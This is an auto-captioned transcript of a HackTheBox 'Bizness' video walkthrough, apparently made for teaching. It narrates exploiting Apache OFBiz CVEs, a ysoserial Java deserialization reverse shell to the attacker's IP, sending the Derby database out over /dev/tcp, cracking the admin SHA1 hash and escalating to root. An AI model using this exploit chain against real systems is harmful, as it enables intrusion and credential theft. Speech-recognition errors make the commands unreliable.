text: what's going on YouTube this is ipack I'm doing business from hack the box which centers around a piece of software called Apache off Biz that had two big cves against it recently the first is a authentication bypass and the second one is a remote code execution that involve Java DC realization there is a python script on GitHub that easily exploits this as long as you have a working copy of YSU serial you could just download the release off of GitHub but it's a little bit out of date now so I'm going to use Docker to build the latest copy of yo cal It's not needed but always good practice to know how to do it once you get a shell on the box the next step is dumping all the user passwords out of this which is a little bit tough because it's using a obscure database called Derby you have to export the database get it running locally and then figure

title: HackTheBox - Bizness


text: out the hashing format yourself because the hashes are stored in a format that hashcat won't crack right away it's not that hard to figure it out so we're just going to jump in and do this box as always we're going to start off with an end map so- SCC for default scripts SV enumerator versions dvv for double verose this is going to show us the TTL and things like that OA output all formats the end map directory and call it business then the IP address of 1010 11252 this can take some time to run so I've already ran it looking at the results we have just three ports are open the first one being SSH on Port 22 its Banner tells us it's a Debian server the- VV this is why we're seeing the TTL here everything set to 63 so it's not interesting um the second Port is HTTP on Port 80 its Banner tells us it's

title: HackTheBox - Bizness


text: running engine X and it's redirecting us over to business. htb so let's go take a look at this or add this to our host file should say so pseudo VY host and we can add 10 10 11 252 business htb and then the final Port is 443 that is engine X and looking at this let's see HTTP header SSL um don't see anything too interesting here so let's just go take a look at the website so https business.

title: HackTheBox - Bizness


text: htb let's accept this SSL certificate and we get the page business um Incorporated so let's just go take a look it looks like it's a single page thing looking at the site icon this is bootstrap so uh probably a static website looking here we have a contact form I'm going to um just put in junk here to see if we can send any data when I click Send message nothing's happening so this contact form is just nonfunctional at the very photo of this we see it is powered by Apache off Biz so that's probably going to be like what is running it normally Apache things they are ran I mean yeah like Apache off Biz when I see like an Apache product I always think of java uh when it's just Apache HTP of course that's not Java but like Apache Tomcat uh like a bunch of Apache and then something else afterwards is a lot of time Java so I'm

title: HackTheBox - Bizness


text: going to take a look at the um cookies of this page so burp Suite is set to intercept we can go here let's go send this look at all the headers and we can see I do have a j session ID cookie if I got rid of that we can see the page is explicitly setting this and whenever I see this I always try checking out like um manager HTML and if I see a I think it's like a 401 forbidden or something then I normally poke at it a lot more right here it's just doing the normal like redirect it was doing earlier but that exploit would be like dot dot uh semicolon to see if it can bypass the engine X ACL I think it's like the Tom Cat off by one if you want to see like an example of that just go to like ic. Ro I'm going to turn s off when I go here and then you just search like Tomcat engine X and we talked about it in the seal video so if you want to see

title: HackTheBox - Bizness


text: more about that go there but business is not vable to it so we got to think about what else we can do here um I'm going to do a gobster so let's do gobster directory mode dasu HTTP oh it's htps business. htb and then- K is going to allow it to follow the or accept the invalid sslt and then the word list up sect list Discovery raft uh web content raft small words. text and let's see everything is redirecting to 302 if we went to like well ASD we get a 302 redirect if we do a different one again every invalid page is doing that this is why gobusters is saying hey we can't identify what an invalid request is because when it Mak access request to this random U ID it's expecting to get a404 we could do um- R to follow redirects we see follow redirect is now set to true but again this is not really helping us it's saying hey everything is length 27200 now so we can't identify

title: HackTheBox - Bizness


text: what an invalid page is so I'm going to switch over to fuff because fuff is easier to filter on invalid things so we do fuff - U for URL htps B business. htb do then do fuzz sl-k again to accept the invalid SSL s-w op oh we can probably just do that there we go and if we hit enter follow redirects is set to false by default and we see everything is a size 0302 so now I'm going to do a d r again to follow the redirect and we see everything has a size of 27200 so I'm going to do A- FS to filter size 27200 and we're starting to get Pages we have like catalog content control AR eBay marketing so let's go try one of these if I do like slash eBay we have it redirecting us to eBay control main if we do like um what was it catalog was another one rag us to catalog control main so let's go in a web browser and try going to SL

title: HackTheBox - Bizness


text: eBay and then we can turn buru off because we don't need it right now I don't know why the icon's not changing oh there we go red redirecting us to eBay control main it is a log impr prompt and we have off Biz so I'm going to Google like off Biz default credentials and see if we can find any real quick um tenable let's check out this page um my Firefox looks like it's hung that's not good oh username admin password of off Biz is the default so I'm going to restart or Firefox is going to restart for me and we're going to try admin off Biz so let's do SL catalog it should redirect us over to the login and then try admin off Biz don't save and password incorrect if we look at the photo we do see it is powered by Apache off Biz release 1812 so we could Google for exploits here so if we just Google this go

title: HackTheBox - Bizness


text: Google we do get an exploit script and we're going to actually not use the python script we're going to step through it because I think you learn a lot more that way um it's going to be two explo I forget which one is which one is just a authentication bypass the other one is rce if we look at this CV 2023 for 9070 uh this is a pre-authentication rce it is due to XML RPC is no longer maintained and still present so that is the rce vulnerability this one is going to be the authentication bypass so I'm going to Google this cve real quick and let's see exact what this is so let's see um I'm going to add blog to the search and then we go to Sonic wall see close I would recommend reading this whole blog post we're going to go over just what is interesting um it's talking about uh this in lines 437 to 448 from the login function it Returns the value

title: HackTheBox - Bizness


text: of requir password change due to the username and password being empty and require password change setting to Y so if we look at this actually before we go over the code let's just look at the exploit real quick so we can see um the result of it and then we'll look at the code because I think that would make it easier for you to understand so in this exploit script it does have a check function it's going to hit the target URL slping test this is going to be the like parameters and if pong is in the response text it's going to respond the target is vulnerable so let's look at what Ping test is Ping test is going to go to web tools control ping and then it's going to enter the parameters username equals y password equals y require password change equals y so let's just send this request so if I send a get request to that we have the response pong if we set

title: HackTheBox - Bizness


text: this to no it gives us the page right so if required password change is set to Y then Badness happens I wonder if we need that semicolon we don't even need that semicolon there maybe that's like I don't know why they have that but you don't need it you don't need that slash probably either so this is weird Behavior so let's now look at the code so it highlights this function we are in um login here right it's getting all the parameters we go down here we're checking if username is empty nope it's not password's not empty okay now it's saying hey if the required password change is set to Y then that's going to be true and if it's true we're going to return the value of it which is true so when we have this value here here the login function is going to say yep they passed login um if that variable wasn't

title: HackTheBox - Bizness


text: set it keeps going down I think this is like getting the tenant go down here and then we're going to start doing the user login right so the whole bug here is essentially right here it's checking hey do they require a password change yes they do let's now return true and since it returns true when we're hitting this endpoint it says hey we want to do a log to validate um they can hit and it goes down here goes hey yes they can log in because they need to change their password um weird bug but that's the authentication bypass um and then the second piece of the exploit is just going to be a standard um D calization in um Java so it goes into the XML RPC interface and we send this XML and give it a serialized payload and when it UNS serializes it um it gets code execution so I'm not running this python script because I always hate running yo

title: HackTheBox - Bizness


text: serial just on my main machine because I always seem to run into like Java issues instead of setting my Java environment correctly I like just running it in Docker right and all this python script is going to do let's see we go here where is it it like runs the Y so serial jar file and since I'm running it in Docker it's not so easy to do right so let's do it all manually so first we have to download seral let's see let's go grab this I'm going to do a get clone on this and then I like just running the docker they have a Docker file so we'll do Docker build Dot and we'll give it the tag y so serial so it's easy to run and this going to take a little while to run and if you watch a lot of my videos you know I don't really like using this version of yso Cal I like using weo cial modified um but

title: HackTheBox - Bizness


text: that's got so out of date now and that's the same like being out of date is why I don't just download the release here because if we do you can notice that's built like two years ago but the last commit is two months ago so you get a wildely out ofd version if you just go off the jar now there is a separate Yer serial project called yer serial Das modified and oh my God what is going on on with my Firefox here we go and the whole reason for this is it changes how like the exact functionality runs if you want to I think I my registry 2 video we use this one and go over it um but you can see this last commit is six years ago so you'll also get a super out ofd version if you use it but when we run y you're going to notice we have to do a lot of weird things if we go here it's talking about it

title: HackTheBox - Bizness


text: um essentially all the fancy redirectors don't work so we can't just stand like get a standard reverse shell in order to get a reverse shell we have to like not use spaces because space is a bad character in the main version of yo serial and that's why I normally don't bother using it however let's try this so we can see how this script does it we do the bash reverse shell then we B 64 and code it and then we do this - c um thing so I'm just going to grab this real quick V Let's do gen shell. piy paste this in and then we have to import B 64 and then I'm going to do print generate rev shell 10 10 148 then 9, one so when I run this we get this as a reverse shell and this is what we need for um pasting it into YSU cial it is obnoxious looks like we are almost done building and hit enter nope still

title: HackTheBox - Bizness


text: waiting on it oh running May and verify so while we wait for that let us now I guess start getting our payload working where is the exploit right here so since we want to do rce we have to now hit the XML RPC interface so let's um let's see this will be called off bypass we'll do rce so we'll paste this so now we're hitting XML RP PC we're going to change this to a post and we probably need to do this again there we go and the content type it's probably not xddd URL encoded it is application XML so let's change that and now let's send it the XML it wants so we can grab all of this and then paste this in there we go so now we just have to get our payload and we are still waiting on the docker to build so I'm going to pause the video and we'll come back when this is done building I was hoping to get

title: HackTheBox - Bizness


text: this all done without any Cuts but doesn't look like I can okay now it is built we can do a doo run y so serial and then we get the output so it wanted us to run what was it like common collections Bean one let's do y so serial yes we do common collections being one and then the arguments so we can do that and then I'm going to say first let's do a ping whenever doing y so serial stuff you saw like how wonky that reverse shell is I like validating with a ping first because that generally just works so we can do ping - C1 for just a one count um then 10 10 14 8 uh do I put this in there we go we have to do basic4 care this and I'm going to do xclip selection primary to put it on my clipboard maybe it's selection clipboard there there we go so we have that pasted I can just do a pseudo TCP dump

title: HackTheBox - Bizness


text: DN so we don't do DNS d i ton zero and we also have to specify icmp I'll clear my screen before you do this and when I run this hopefully I get one ping I do we can see 1010 252 reached out to me and I sent a response back so now we know we have a valid payload so what we want to do is put the second one in so let's copy this Command put it over here run this then NC lvmp 901 I'm going to change out the base 64 that's a big payload put that in go here and voila we have the reverse shell so let's do python 3-c import PTY PTY spawn bin bash stty raw minus Echo FG enter enter and now we can do things or we have to export term is equal to X term is it like xterm 256 color gets us color yes it does okay so now we're on off Biz um the thing I normally like doing whenever I land on some type of of web server is exporting the

title: HackTheBox - Bizness


text: credentials and if we go to like config let's go config uh is it maybe it's not config let's see because I don't think it would be like check style right uh we can C it don't think yeah that's not it let's see where would the database be lib plugins runtime is it time config or something applications not exactly sure let's see if we cut the docker file of this does this really tell us off Biz config runtime let's see connect to off is database does this help us main entity engine we have this file we do so it's under framework entity config any engine did they say like database maybe data source is how it is grip data source that is not helping us I don't think this is like how it's running those are just like all the options to run let's just try changing up our Google I'm going to Google off Biz

title: HackTheBox - Bizness


text: default database you can see what the default database is because if we looked at like SSL ntp grap 33 we don't see like MySQL I forget postgress is Port um but Google says by default it uses a embedded Java database called Derby so if I do a find do- name Derby we can find the Derby database is in runtime data Derby and we want to export this um if we Google around for Derby documentation you enter it with the J um that's not on this box we could also do a find-- name uh let's hide errors because it's going to go in directories we want the permissions to to see if I was on the box just not in our path we can't access it so I'm going to do a tar cvf Derby doar let's put this in Dev shm Dev shm Derby doar Derby there we go and I'm going to copy this over to my box so let's do nvmp 901 I'm going to call it Derby doar we going say cat Dev shm Derby to Dev

title: HackTheBox - Bizness


text: TCP 101014 8 991 man that's ugly because I didn't like change my line wrapping how it just wrapped to the beginning but oh well it is now copying um let's see connect to Derby database it's going to be like jdbc colon Something connecting let's see Java i j okay so we can set the protocol then connect okay let's do AAR XJ or xvf we didn't compress it Derby and if you don't have the Derby tools you can do it with a pseudo apt install Derby Das tools um I believe I already have these installed so I'm just going to do J and then we do protocol jdbc Derby and then connect the database name I'm going to do off Biz um connect. slof Biz there we go I think we're connected oh we need do a semicolon uh no that did not work let's see what was the syntax database connection examples jdbc Derby what if I just did connect jdbc Derby

title: HackTheBox - Bizness


text: off is okay I think we're connected there if I do show tables awesome so we probably want to go to the user login table so if I do a select star from user login uh it does not exist select star from the database name is off Biz user login and it looks like we got a bunch of data so let's do a describe first because we have too much data we can't really make sense on our screen so I do describe off. user login let's see what things do we want probably user login password and password hint that sounds good select user login ID current password password hint from off Biz do user login I was user login there we go we have no password hints we have admin and we have a sha hash password and we can either like um go through the source code to figure out exactly how this is hashed but this looks like a standard format we just see the algorithm then you have a salt so it's probably just a one character salt

title: HackTheBox - Bizness


text: and then the hash and this doesn't really match any type of Shaw suum right because if I do an eo-n uh wc- C we just have 27 characters however this does look like it is base 64 URL encoded so what I'm going to try doing is decoding this and I don't think think the regular base 64- D is going to work here we could try we have invalid input again because this is URL encoded um what is it it would be like a slash and a plus I want to say and then we probably have padding issues so it decoded that um instead of like knowing how to manually Convert base 64 to base 64 URL there is another tool there's base ENC and base ENC is going to let us do that uh let's see let's go back there so we can add the- D for decrypt and I think it's base 64 URL uh base ink help let's see Das Das b64 URL and DD as decode I may have said decrypt before but it's decode we have invalid

title: HackTheBox - Bizness


text: input again this is just padding um a lot of languages just like killing the padding of Bas 64 I don't understand why but we have it um decoding the B 64 if I pipe it over to xxd uh let's do A- P so we get everything just on one line then we can do a wc- c and 41 this is going to be 40 characters in a line break and if we Echo this to sha one sum Let's do an a print one wc- C we get 41 so we know this is a sha one sum so if we go back here um it's the sort was D so I'm going to go over to hashcat let's do sh the Kraken CD hash cat V or let's do hash cat. bin example hashes and we want to grap for sha one let's do grap name so we get rid of example hashes and let's see we probably want either this one or this one either the password first then the salt or the salt then the password right so let's go

title: HackTheBox - Bizness


text: less is it sha one so either M 110 and that's going to be the past then the salt or 120 and the format is salt colon hash and if we did 110 are those really the same thing just no so not salt colon hash this is going to be the hash coal the salt is how we do it so 110 or 120 um Mo 110 or 120 that's the thing we don't know so let's try them both uh V hashes I'm going to call it off Biz and let's see where was it this is it okay so we got that and then the salt was D or the salt could be also um XML encoded right so let's do echo dasn or not XML hex encoded xxd 64 so this is probably going to be it right so let's doat DM M 110 um the word list file which will be or the hashes file which will be hashes off Biz then the word list op word list Rock you. text let's run this and see if we get a hit if we don't then I'm going to try 120 um if we don't get a hit there then

title: HackTheBox - Bizness


text: that's when I would go into the source code and try to figure out um what we did wrong so it's going to run it does not take long since it's just a standard sha one we did not recover any so let's do 120 and see what we have and right away we got one hit if we go up we see the salt was just D and the password is monkey business so let's try Monkey Business for any password um let see here we go pseudo- L password of off Biz I put Monkey Business to see if it's that password let's grab the past WD file for all the shells and there is rout so let's do su Dash put in Monkey Business and there we go we got the route we cat rot. text that is the box so hope you guys enjoyed it take care and I will see you all next time

title: HackTheBox - Bizness